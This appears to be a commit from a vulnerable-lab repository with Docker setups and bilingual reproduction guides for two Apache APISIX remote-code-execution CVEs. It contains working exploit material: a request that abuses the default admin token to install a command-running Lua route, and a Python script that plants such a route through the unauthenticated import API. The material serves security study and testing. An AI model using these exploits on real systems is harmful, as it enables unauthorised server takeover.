first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
apisix/CVE-2020-13945/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

BIN
apisix/CVE-2020-13945/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

View File

@@ -0,0 +1,59 @@
# Apache APISIX Hardcoded API Token Leads to RCE (CVE-2020-13945)
[中文版本(Chinese version)](README.zh-cn.md)
Apache APISIX is a dynamic, real-time, high-performance API gateway. Apache APISIX has a default built-in API token `edd1c9f034335f136f87ad84b625c8f1` that can be used to access all the admin API, which leads to the remote LUA code execution through the `script` parameter added in the 2.x version.
References:
- https://apisix.apache.org/docs/apisix/getting-started
- https://github.com/apache/apisix/pull/2244
- https://seclists.org/oss-sec/2020/q4/187
## Vulnerability Environment
Execute following command to start a Apache APISIX server 2.11.0 (this vulnerability hasn't been fixed until newest version, might be not considered fixing by vendor):
```
docker compose up -d
```
After the server is started, you can see a default 404 page at `http://your-ip:9080`.
## Vulnerability Reproduce
Add a new evil router rule to the APISIX through admin api with default token:
```
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
```
![](1.png)
Then, use this evil router to execute arbitrary commands:
```
http://your-ip:9080/attack?cmd=id
```
![](2.png)

View File

@@ -0,0 +1,57 @@
# Apache APISIX 默认API Token导致远程Lua代码执行CVE-2020-13945
Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`攻击者利用这个Token可以访问到管理员接口进而通过`script`参数来插入任意LUA脚本并执行。
参考链接:
- https://apisix.apache.org/docs/apisix/getting-started
- https://github.com/apache/apisix/pull/2244
- https://seclists.org/oss-sec/2020/q4/187
## 漏洞环境
执行如下命令启动一个Apache APISIX 2.11.0(这个漏洞并没有且应该不会被官方修复,所以到最新版仍然存在):
```
docker compose up -d
```
环境启动后,访问`http://your-ip:9080`即可查看到默认的404页面。
## 漏洞复现
利用默认Token增加一个恶意的router其中包含恶意LUA脚本
```
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
```
![](1.png)
然后我们访问刚才添加的router就可以通过cmd参数执行任意命令
```
http://your-ip:9080/attack?cmd=id
```
![](2.png)

View File

@@ -0,0 +1,34 @@
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
apisix:
node_listen: 9080 # APISIX listening port
enable_ipv6: false
allow_admin: # http://nginx.org/en/docs/http/ngx_http_access_module.html#allow
- 0.0.0.0/0 # We need to restrict ip access rules for security. 0.0.0.0/0 is for test.
enable_control: true
control:
ip: "0.0.0.0"
port: 9092
etcd:
host: # it's possible to define multiple etcd hosts addresses of the same etcd cluster.
- "http://etcd:2379" # multiple etcd address
prefix: "/apisix" # apisix configurations prefix
timeout: 30 # 30 seconds

View File

@@ -0,0 +1,22 @@
version: "2"
services:
apisix:
image: vulhub/apisix:2.11.0
volumes:
- ./config.yml:/usr/local/apisix/conf/config.yaml:ro
depends_on:
- etcd
ports:
- "9080:9080"
- "9091:9091"
- "9443:9443"
etcd:
image: bitnami/etcd:3.4.15
environment:
ETCD_ENABLE_V2: "true"
ALLOW_NONE_AUTHENTICATION: "yes"
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
ports:
- "2379:2379/tcp"

BIN
apisix/CVE-2021-45232/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

BIN
apisix/CVE-2021-45232/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

View File

@@ -0,0 +1,54 @@
# Apache APISIX Dashboard Unauthenticated Access Leads to RCE (CVE-2021-45232)
[中文版本(Chinese version)](README.zh-cn.md)
Apache APISIX is a dynamic, real-time, high-performance API gateway, and Apache APISIX Dashboard is a easy to use frontend interface that is used to manage the Apache APISIX.
In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`. But there are 2 of these APIs `/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` directly use the interface of framework `gin` which are able to bypass the authentication.
By using these 2 unauthenticated API endpoints, attackers can export and import arbitrary Apache APISIX configuration including routers, services, scripts etc, that leads to reqeust unexpected URL (SSRF) or execute arbitrary LUA scripts (RCE).
References:
- https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232/
- https://github.com/wuppp/cve-2021-45232-exp
## Vulnerable environment
Execute following command to start a vulnerable Apache APISIX Dashboard 2.9:
```
docker compose up -d
```
Then you can access `http://your-ip:9000/` to see the login page for Apache APISIX Dashboard.
## Exploit
`/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` are 2 unauthenticated API provided by Apache APISIX Dashboard, that are used to export and import configuration for Apache APISIX. So we can simplely import a craft configuration with evil router that contains user provided LUA script:
![](1.png)
Noted that the last 4 bytes are CRC checksum of this file, so it's better to use a automatic POC to build and send the request, for example [this POC](https://github.com/wuppp/cve-2021-45232-exp).
After adding the evil router, you should send the request to Apache APISIX (difference from Apache APISIX Dashboard) to trigger the LUA script.
The Apache APISIX is listening on port 9080 in this environment:
```
GET /okw1Rh HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0
```
![](2.png)
As you can see, the command in `CMD` header is executed by Apache APISIX.

View File

@@ -0,0 +1,52 @@
# Apache APISIX Dashboard API权限绕过导致RCECVE-2021-45232
Apache APISIX是一个动态、实时、高性能API网关而Apache APISIX Dashboard是一个配套的前端面板。
Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export``/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证导致未授权的攻击者可以导出、导入当前网关的所有配置项包括路由、服务、脚本等。攻击者通过导入恶意路由可以用来让Apache APISIX访问任意网站甚至执行LUA脚本。
参考链接:
- https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
- https://github.com/wuppp/cve-2021-45232-exp
## 漏洞环境
执行如下命令启动一个有漏洞的Apache APISIX Dashboard 2.9
```
docker compose up -d
```
然后访问`http://your-ip:9000/`即可看到Apache APISIX Dashboard的登录页面。
## 漏洞复现
利用`/apisix/admin/migrate/export``/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API我们可以简单地导入一个恶意配置文件其中包含我们构造的LUA脚本
![](1.png)
注意的是这个配置文件的最后4个字符是当前文件的CRC校验码所以最好通过自动化工具来生成和发送这个利用数据包比如[这个POC](https://github.com/wuppp/cve-2021-45232-exp)。
添加完恶意路由后你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是Apache APISIX和Apache APISIX Dashboard是两个不同的服务Apache APISIX Dashboard只是一个管理页面而添加的路由是位于Apache APISIX中所以需要找到Apache APISIX监听的端口或域名。
在当前环境下Apache APISIX监听在9080端口下。我们发送数据包
```
GET /okw1Rh HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0
```
![](2.png)
可见我们在Header中添加的`CMD`头中的命令已被执行。
这个漏洞是Apache APISIX Dashboard的漏洞而Apache APISIX无需配置IP白名单或管理API只要二者连通同一个etcd即可。

View File

@@ -0,0 +1,26 @@
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
apisix:
node_listen: 9080 # APISIX listening port
enable_ipv6: false
etcd:
host: # it's possible to define multiple etcd hosts addresses of the same etcd cluster.
- "http://etcd:2379" # multiple etcd address
prefix: "/apisix" # apisix configurations prefix
timeout: 30 # 30 seconds

View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big")
def export_data(url):
r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
return r.text[:-4]
def import_data(url, data):
data = json.dumps(data).encode()
crc32 = calc_crc(data)
files = {"file": ("data", data + crc32, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
# print(resp.text)
if resp.json().get("code", -1) == 0:
return True
else:
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("python " + sys.argv[0] + " http://127.0.0.1:9000")
exit()
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
uri = random_str()
eval_config["Routes"][0]["uris"] = [ "/" + uri]
eval_config["Routes"][0]["name"] = uri
if import_data(url, eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")

View File

@@ -0,0 +1,84 @@
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
conf:
listen:
host: 0.0.0.0 # `manager api` listening ip or host name
port: 9000 # `manager api` listening port
allow_list: # If we don't set any IP list, then any IP access is allowed by default.
- 0.0.0.0/0
etcd:
endpoints: # supports defining multiple etcd host addresses for an etcd cluster
- "http://etcd:2379"
authentication:
secret:
s3cr3t # secret for jwt token generation.
# NOTE: Highly recommended to modify this value to protect `manager api`.
# if it's default value, when `manager api` start, it will generate a random string to replace it.
expire_time: 3600 # jwt token expire time, in second
users: # yamllint enable rule:comments-indentation
- username: admin # username and password for login `manager api`
password: vulhub
plugins: # plugin list (sorted in alphabetical order)
- api-breaker
- authz-keycloak
- basic-auth
- batch-requests
- consumer-restriction
- cors
# - dubbo-proxy
- echo
# - error-log-logger
# - example-plugin
- fault-injection
- grpc-transcode
- hmac-auth
- http-logger
- ip-restriction
- jwt-auth
- kafka-logger
- key-auth
- limit-conn
- limit-count
- limit-req
# - log-rotate
# - node-status
- openid-connect
- prometheus
- proxy-cache
- proxy-mirror
- proxy-rewrite
- redirect
- referer-restriction
- request-id
- request-validation
- response-rewrite
- serverless-post-function
- serverless-pre-function
# - skywalking
- sls-logger
- syslog
- tcp-logger
- udp-logger
- uri-blocker
- wolf-rbac
- zipkin
- server-info
- traffic-split

View File

@@ -0,0 +1,30 @@
version: "2"
services:
apisix:
image: vulhub/apisix:2.9
volumes:
- ./apisix.yml:/usr/local/apisix/conf/config.yaml
depends_on:
- etcd
ports:
- "9080:9080"
- "9091:9091"
- "9443:9443"
dashboard:
image: vulhub/apisix-dashboard:2.9.0
volumes:
- ./dashboard.yml:/usr/local/apisix-dashboard/conf/conf.yaml
depends_on:
- etcd
ports:
- "9000:9000"
etcd:
image: bitnami/etcd:3.4.15
environment:
ETCD_ENABLE_V2: "true"
ALLOW_NONE_AUTHENTICATION: "yes"
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
ports:
- "2379:2379/tcp"